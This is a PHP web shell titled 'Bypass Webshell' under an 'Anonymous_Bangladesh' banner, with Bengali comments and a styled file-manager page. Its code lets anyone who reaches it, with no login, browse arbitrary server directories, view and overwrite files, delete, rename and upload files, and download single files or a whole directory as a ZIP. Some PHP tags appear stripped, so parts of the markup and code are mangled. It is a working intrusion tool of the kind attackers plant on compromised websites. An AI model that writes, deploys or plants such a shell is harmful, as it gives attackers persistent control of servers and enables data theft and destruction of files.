<!DOCTYPE html>
<html lang="bn">

<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
Anonymous_Bangladesh <title>Anonymous_Bangladesh</title>
<style>
body {
font-family: Arial, sans-serif;
background-color: #000;
color: #00d1b2;
margin: 20px;
}
.container {
max-width: 1000px;
margin: 0 auto;
background-color: #1a1a1a;
padding: 10px;
border-radius: 8px;
box-shadow: 0 0 10px rgba(0, 209, 178, 0.6);
}
table {
width: 100%;
border-collapse: collapse;
}
table, th, td {
border: 1px solid #00d1b2;
}
th, td {
padding: 12px;
text-align: center;
color: #fff;
}
th {
background-color: #00d1b2;
color: #000;
}
.file-actions {
display: flex;
justify-content: space-evenly;
align-items: center;
gap: 4px;
}
.file-actions button, .file-actions a {
background-color: #00d1b2;
color: #000;
border: none;
padding: 8px 12px;
cursor: pointer;
border-radius: 6px;
font-size: 14px;
display: flex;
justify-content: center;
align-items: center;
}
.file-actions a {
text-decoration: none;
color: #000;
}
.file-actions button:hover, .file-actions a:hover {
background-color: #00ffda;
}
.icon {
font-size: 18px;
}
input[type="text"] {
width: 100px;
padding: 10px;
font-size: 14px;
border: 1px solid #00d1b2;
background-color: #1a1a1a;
color: #fff;
border-radius: 4px;
}
.path-input {
width: 100%;
padding: 8px;
margin-bottom: 10px;
font-size: 14px;
background-color: #2a2a2a;
color: #00d1b2;
border: 1px solid #00d1b2;
border-radius: 4px;
}
</style>
<!-- Font Awesome CDN -->
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css">


<div class="container">
<h1 style="font-size: 18px; text-align: center;">Bypass Webshell

<!-- বর্তমান পাথ দেখানো -->
<h3 style="font-size: 14px;">বর্তমান পাথ: echo getcwd();

<!-- ম্যানুয়ালি পাথ লিখে ডিরেক্টরিতে যাওয়া -->


<button type="submit" name="go_to_dir"><i class="fas fa-folder-open icon"></i> ডিরেক্টরি যান</button>


<h3 style="font-size: 14px;">ফাইলের তালিকা:


<th>ফাইল নাম</th>
<th>আকার</th>
<th>পরিবর্তন</th>
<th>পারমিশন</th>
<th>অ্যাকশন</th>


$current_dir = isset($_GET['dir']) ? $_GET['dir'] : getcwd(); // বর্তমান ডিরেক্টরি
if (!is_dir($current_dir)) {
$current_dir = getcwd(); // যদি ডিরেক্টরি না হয়, তবে ডিফল্ট বর্তমান ডিরেক্টরিতে রিডাইরেক্ট করা হবে
}
$files = scandir($current_dir); // ডিরেক্টরির সব ফাইল বের করা
foreach ($files as $file) {
if ($file !== '.' && $file !== '..') {
$full_path = $current_dir . '/' . $file;
$is_dir = is_dir($full_path);
echo "";
echo "";
echo "";
echo "";
echo ""; // পারমিশন দেখায়
echo "<td class='file-actions'>
<a href='?edit=$full_path' title='এডিট'><i class='fas fa-edit icon'></i></a>

<input type='hidden' name='filename' value='$file'>
<button type='submit' name='delete' title='ডিলিট'><i class='fas fa-trash icon'></i></button>

<a href='?download=$full_path' title='ডাউনলোড'><i class='fas fa-download icon'></i></a>

<input type='hidden' name='oldname' value='$file'>
<input type='text' name='newname' placeholder='নতুন নাম'>
<button type='submit' name='rename' title='রিনেম'><i class='fas fa-pen icon'></i></button>

";
echo "";
}
}

" . ($is_dir ? "<a href='?dir=" . urlencode($full_path) . "'>" . $file . "</a>" : $file) . "" . ($is_dir ? '-' : filesize($full_path) . " KB") . "" . date("F d Y H:i:s", filemtime($full_path)) . "" . substr(sprintf('%o', fileperms($full_path)), -4) . "


<h3 style="font-size: 14px;">ফাইল আপলোড করুন:


<button type="submit" name="upload"><i class="fas fa-upload icon"></i> আপলোড</button>


<h3 style="font-size: 14px;">নতুন ফাইল তৈরি করুন:


<textarea name="file_content" rows="5" placeholder="এখানে কোড লিখুন..." style="width: 100%;"></textarea>
<button type="submit" name="create_file"><i class="fas fa-plus icon"></i> ফাইল তৈরি করুন</button>


<!-- সব ফাইল ডাউনলোড করার বাটন -->

<button type="submit" name="download_all"><i class="fas fa-file-archive icon"></i> সকল ফাইল ডাউনলোড করুন (ZIP)</button>

</div>


// ফাইল এডিট করার অংশ
if (isset($_GET['edit'])) {
$file_to_edit = $_GET['edit'];
if (file_exists($file_to_edit)) {
$file_content = file_get_contents($file_to_edit);
echo '<div class="container">';
echo '

ফাইল এডিট করুন: ' . basename($file_to_edit) . '

';
echo '
';
echo '<textarea name="edited_content" rows="15" style="width: 100%;">' . htmlspecialchars($file_content) . '</textarea>';
echo '
<button type="submit" name="save_edits"><i class="fas fa-save icon"></i> সেভ করুন</button>';
echo '
';
echo '</div>';
} else {
echo "<script>alert('ফাইল পাওয়া যায়নি!');window.location.href='';</script>";
}
}

// ফাইলের এডিট সেভ করার অংশ
if (isset($_POST['save_edits'])) {
$edited_content = $_POST['edited_content'];
$file_to_edit = $_GET['edit'];
if (file_exists($file_to_edit)) {
file_put_contents($file_to_edit, $edited_content);
echo "<script>alert('ফাইল সফলভাবে সেভ হয়েছে!');window.location.href='';</script>";
} else {
echo "<script>alert('ফাইল পাওয়া যায়নি!');window.location.href='';</script>";
}
}

// ফাইল ডিলিট করা
if (isset($_POST['delete'])) {
$filename = $_POST['filename'];
$file_to_delete = $current_dir . '/' . $filename;
if (file_exists($file_to_delete)) {
unlink($file_to_delete);
echo "<script>alert('ফাইল সফলভাবে ডিলিট হয়েছে!');window.location.href='';</script>";
} else {
echo "<script>alert('ফাইল পাওয়া যায়নি!');window.location.href='';</script>";
}
}

// ফাইল রিনেম করা
if (isset($_POST['rename'])) {
$oldname = $_POST['oldname'];
$newname = $_POST['newname'];
if (file_exists($current_dir . '/' . $oldname)) {
rename($current_dir . '/' . $oldname, $current_dir . '/' . $newname);
echo "<script>alert('ফাইলের নাম পরিবর্তন হয়েছে!');window.location.href='';</script>";
} else {
echo "<script>alert('ফাইল পাওয়া যায়নি!');window.location.href='';</script>";
}
}

// ফাইল আপলোড করা
if (isset($_POST['upload'])) {
$target_dir = $current_dir . "/";
$target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
echo "<script>alert('ফাইল সফলভাবে আপলোড হয়েছে!');window.location.href='';</script>";
} else {
echo "<script>alert('ফাইল আপলোড ব্যর্থ হয়েছে!');window.location.href='';</script>";
}
}

// ফাইল ডাউনলোড করা (একটি ফাইল)
if (isset($_GET['download'])) {
$file_to_download = $_GET['download'];
if (file_exists($file_to_download)) {
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . basename($file_to_download) . '"');
header('Content-Length: ' . filesize($file_to_download));
readfile($file_to_download);
exit;
} else {
echo "<script>alert('ফাইল পাওয়া যায়নি!');window.location.href='';</script>";
}
}

// সব ফাইল ডাউনলোড করা (ZIP)
if (isset($_POST['download_all'])) {
// ZIP ফাইলের নাম এবং অবস্থান
$zip_file = 'all_files.zip';

// ZIP ক্লাস ব্যবহার করে ফাইল কম্প্রেস করা
$zip = new ZipArchive();
if ($zip->open($zip_file, ZipArchive::CREATE | ZipArchive::OVERWRITE) === TRUE) {
// ডিরেক্টরির ফাইলগুলো লুপ করে ZIP এ যোগ করা
$files = scandir($current_dir);
foreach ($files as $file) {
if ($file !== '.' && $file !== '..') {
$file_path = $current_dir . '/' . $file;
if (is_file($file_path)) {
$zip->addFile($file_path, basename($file_path));
}
}
}
$zip->close();

// ZIP ফাইল ডাউনলোড করা
header('Content-Type: application/zip');
header('Content-Disposition: attachment; filename="' . basename($zip_file) . '"');
header('Content-Length: ' . filesize($zip_file));
flush();
readfile($zip_file);

// ডাউনলোড শেষে ZIP ফাইল মুছে ফেলা
unlink($zip_file);
exit;
} else {
echo "<script>alert('ZIP ফাইল তৈরি করতে ব্যর্থ হয়েছে!');</script>";
}
}